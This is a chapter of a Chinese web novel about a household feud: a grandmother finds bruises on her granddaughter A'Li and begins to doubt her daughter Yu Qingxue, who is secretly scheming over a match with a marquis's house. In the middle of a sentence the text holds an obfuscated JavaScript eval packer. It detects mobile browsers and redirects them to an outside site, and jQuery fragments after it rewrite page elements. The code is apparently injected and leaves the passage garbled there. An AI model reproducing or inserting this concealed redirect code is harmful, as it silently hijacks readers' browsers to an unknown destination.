*
屋子里炭火足,自是不冷。
温暖的空气中,全是玉晴雪叫屈的声音,却在谢氏的惊呼声中戛然而止。
谢氏不敢置信地看着沈青绿挽起袖子露出来的胳膊,上面的痕迹有的发乌,有的发青,应该都是被人掐的,布在冷玉般的肌肤上,越发的触目惊心。
“这是什么?”她震惊着,看向玉晴雪的眼神都在颤抖。
沈琳琅倒吸一口凉气的同时,连忙用眼神示意玉流朱不要说话,因为这种时候,她们母女俩说什么做什么都不合适。
玉流朱却像是没看到似的,道:“祖母,姑姑一向疼爱阿离妹妹,我们都是知道的。阿离妹妹此前一直浑浑噩噩,许是记岔了,将恶奴欺主的事,记到了姑姑头上。”
自小到大,她虽与姑姑见面不多,但那种发自内心的关爱与疼惜她岂能感受不到?
后来她小产,被婆家人冷落不说,便是口口声声说最疼她的亲娘都没有出现。反倒是这个向来避人不出的姑姑,冒着受人白眼去看她。
那些对她的心疼,对她的安慰,看到她之后流的泪,她记得清清楚楚!
她的话,仿佛是提醒了玉晴雪。玉晴雪连忙点头,“定是这样的,母亲,这些伤,应该都是杜鹃那个恶奴做下的。”
毕竟是自己的亲生女儿,对于这样的解释,谢氏是想信的。
“阿离,你是不是记错了?这些伤是之前侍候你的人弄的吧?”
沈青绿装作疑惑的样子,或许是原主本身没有什么记忆,也或许是她只接受了少许,对于以前的事,她仅有零星的几个片断。
但别人母女一条心,她这个外人想成功离间,不是那么容易的事。何况并未抓现形,玉晴雪的解释也说得过去,她如果执意说是玉晴雪弄的,反倒引人怀疑。
“我记错了吗?我不知道。”
玉晴雪松了一口气,抹起眼泪来,对沈琳琅道:“嫂子,阿离这孩子心智不全,今日没有给你们添麻烦吧?”
沈琳琅摇了摇头,没说什么。
“那就好,我就害怕她没轻没重的,坏了你们的事。”玉晴雪说着,再次过来拉沈青绿,“阿离,你也玩够了,我们回去吧。”
沈青绿任由她拉着,像个提线的木偶,但是眼睛却一直看着谢氏,里面的光亮一点点地黯淡下去。
谢氏的心又揪起来,张了张嘴,想说什么,又什么也不能说。
当她们过门槛时,谁也没看清楚发生何事,只感觉沈青绿似是被人扯了一下,然后又被门槛绊了个踉跄,一个不稳朝前扑去,重重地磕在地上。
“阿离!”
谢氏大惊,赶紧过来的同时,不虞地看了一眼有些发怔的玉晴雪。
玉晴雪低头看着自己的手,目光有些惊疑。她分明什么也没做,是这个孽障想挣脱她,也不知怎么就绊倒了。
“娘,我没有……”
“阿离。”谢氏没有听她解释,看着趴在地上的沈青绿。
沈青绿慢慢地抬起头来,露出额头上磕出来的血花,那么的触目惊心,却又分外的美丽惊艳。
那双分外大而漆黑的眼睛里,涌现一层水光,“祖母,我疼。”
谢氏的心,顿时像被人狠狠捅了一刀。
这孩子长得多像晴雪啊,晴雪真的不是故意的吗?
“阿离乖,祖母这就让人给你上药,等上了药就不疼了。”
“娘,这事都怪我,哪能劳烦您,我这就带阿离回去上药。”玉晴雪又对沈琳琅道:“嫂子,棠儿怕是吓到了,你赶紧带她回去吧。”
知女莫若母,谢氏哪能看不出自己女儿的心思。一时看着已被人扶起的沈青绿,一时又看看明显想回避的沈琳琅,心下叹着气。
沈琳琅确实有些进退两难,她身为一个儿媳,最不适合掺和婆婆和小姑子之间的事,尤其还是这种事。所以听到玉晴雪的话后,暗道这小姑子识趣,当下带着玉流朱离开。
她是个儿女心重的人,这些年来在教养儿女一事上,自问已尽到全然的心力,尤其是对最小的女儿,可谓是捧在手心里养着的。莫说是磕破了头,就是擦破油皮的事都不曾有过。
一想到沈青绿方才额头上的伤,那样的血花子,若是自己的女儿,她该有多难受。
“你阿离妹妹昨日才落水,刚刚又遭那样的罪,真不知道你姑姑为何能如此粗心大意。”她感慨着。
玉流朱却是皱了皱眉,道:“阿离妹妹心智不全,若不是她拖累姑姑,姑姑怎会过得这般辛苦。”
如果不是为了阿离妹妹,以姑姑的相貌,和离之后必定还能有好姻缘,何至于被蹉跎一辈子,枉负人生一场。
母女俩意见不同,这还是头一回。
沈琳琅思及当初玉晴雪死活要留下孩子一事,心里想的是孩子是自己小姑子执意生下来的,难道不应该全心全意的照顾吗?
但她一向疼爱玉流朱,当然不会驳女儿的话,只是隐约有种说不出来的别扭,鬼使神差般回头望去,却正好对上沈青绿的眼神,那样的痴痴可怜,还泛着泪光。
不知为何,她的心像是被人拧起,结成麻花状,说不出来的酸楚难当。私心想着这孩子也是个可怜人,然而罪臣之女的出身,实在是摘不掉,纵是再同情,也不可能沾染太多。
如此想着,她狠起心来,赶紧收回视线。
沈青绿望着她们母女的背影,那么的相近,那么的相亲,痴怜的目光渐渐泛冷,最终归于黑寂。
*
瑞安居的正房两边,皆是厢房。
左厢房是半书房半休息的那种,布置清雅,不拘是书架书桌,还是各种文人气息浓郁的摆件,处处都彰显着主人的书香之气。
大夫很快赶到,动作利落地给沈青绿上药包扎,再叮嘱谢氏和玉晴雪一些注意事项
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900423|176592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
谢氏不时看向十分配合,且看上去半点不像心智不全之人的沈青绿,感慨着她的乖巧的同时,越发觉得她应该是真的好了。
“阿离,大夫的话你都听到了吧?你这伤不碍事,几天就能好,切记不要沾水,不要吃鱼之类的发物。”
“我没有吃过鱼。”
一个从小被迫吃素的孩子,怎么可能有机会吃鱼?
谢氏一时惊讶着,却忍着什么也没有说。
她让沈青绿睡一会儿,又交待夏蝉要好生照顾,再示意玉晴雪跟自己出去。
母女二人进了正房,屏退所有人后,她的脸就冷了下来,却并没有第一时间质问玉晴雪,而是用一种失望的目光看着自己的女儿,眼神中带着明显可见的谴责。
玉晴雪也没有辩解,而是小声啜泣起来。
良久,哽咽道:“娘,我记着您的话,原本没打算让她和我一起茹素。但是府里人多口杂,我怕我那院子不禁荤,不说是旁人,便是嫂子都该误会我。”
“那这些年,你为何一直不说?若不是阿离如今灵醒了些,你是不是还想瞒着我?”
“娘,是我的错,我也是想着家和万事兴,多一事不如少一事。阿离那孩子天生缺魂少魄,这些年我一直提着心,哪成想还是出了纰漏,我对不起您……”
“你不是对不起我。”谢氏到底疼她,叹了一口气,道:“今日你嫂子也在,她亲眼看到阿离磕破了头,日后她若追究,你该如何解释?”
“娘。”她越发哽咽,“到时候我给她赔罪,她让我做什么都行。”
听她这么说,谢氏更加难过。
哪个当娘的不心疼自己的孩子,身为一个母亲,自是恨不得替自己的儿女谋划周全。
“我看你最近有些累,不如就让阿离先在我这里住一段日子。”
“娘……”玉晴雪想反对,犹豫一下后,点头同意,“那就麻烦娘了,娘放心,我会日日过来帮着照顾她的。”
对此,谢氏没有反对。
外面不知何时下起了小雨,浠沥沥的,像是老天爷在哭。
玉晴雪刚一出来,秦妈妈立马撑着油纸伞上前,主仆二人相互搀扶着,一步步朝瑞安居外面走去。
等四下无人时,秦妈妈小声问,“夫人,姑娘被老夫人留下了吗?”
玉晴雪“嗯”了一声,脸色难看起来。
“她嘴里说疼我,可是从小到大,在她的心里,我远不如兄长重要,我的孩子也比不过兄长的孩子。我若不为自己争,不为我的孩子争,那我们母女就等着被人踩到泥里,我的孩子也会和我一样,成为玉家的垫脚石。”
这满是怨恨的话,秦妈妈哪里敢接,只能不作声。
过了一会儿,玉晴雪冷笑一声,“眼下最重要是棠儿的亲事,只要她嫁进侯府,一切就圆满了。”
玉家欠她的,她统统都会要回来!